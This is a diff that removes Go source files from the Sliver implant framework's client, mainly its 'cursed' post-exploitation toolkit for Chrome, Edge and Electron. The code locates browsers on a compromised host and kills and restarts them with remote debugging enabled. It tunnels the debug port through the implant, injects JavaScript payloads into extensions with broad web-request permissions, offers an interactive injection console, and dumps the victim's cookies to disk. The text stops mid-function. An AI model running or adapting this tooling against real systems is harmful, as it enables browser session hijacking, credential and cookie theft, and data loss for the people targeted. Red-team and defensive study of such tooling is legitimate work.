"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// SelectCredential - Interactive menu for the user to select a credentials from the database
func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
var creds *clientpb.Credentials
var err error
if hashType == clientpb.HashType_INVALID {
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
if err != nil {
return nil, err
}
}
if len(creds.Credentials) == 0 {
return nil, errors.New("no credentials to select from")
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, cred := range creds.Credentials {
if cred.Plaintext == "" {
fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
} else {
plaintext := cred.Plaintext
if len(plaintext) > 12 {
plaintext = plaintext[:12] + "..."
}
fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no credentials to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a credential:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return creds.Credentials[index], nil
}
}
return nil, nil
}
-3
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@@ -1,3 +0,0 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
-436
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@@ -1,436 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"log"
insecureRand "math/rand"
"os"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath, _ := cmd.Flags().GetString("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = os.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, cmd, con, args)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(cmd)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if restore, _ := cmd.Flags().GetBool("restore"); restore {
args = append(args, "--restore-last-session")
}
if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
args = append(args, "--keep-alive-for-test")
}
if headless, _ := cmd.Flags().GetBool("headless"); headless {
args = append(args, "--headless")
}
if len(cargs) > 0 {
args = append(args, cargs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(cmd),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
userDataFlag, _ := cmd.Flags().GetString("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
exeFlag, _ := cmd.Flags().GetString("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
chromeProcessNames := []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-178
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@@ -1,178 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"os"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/reeflective/readline"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
)
func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := os.CreateTemp("", "cursed")
shell := readline.NewShell()
shell.History.AddFromFile("cursed history", tmpFile.Name())
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
// EOFPrompt: "exit",
if con.Settings.VimMode {
shell.Config.Set("editing-mode", "vi")
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := shell.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := os.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
-70
View File
@@ -1,70 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
)
func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
-172
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@@ -1,172 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath, _ := cmd.Flags().GetString("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = os.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, cmd, con, args)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
edgeProcessNames := []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-216
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@@ -1,216 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe, _ := cmd.Flags().GetString("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, cmd, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(cmd)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if len(cargs) > 0 {
args = append(args, cargs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(cmd),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
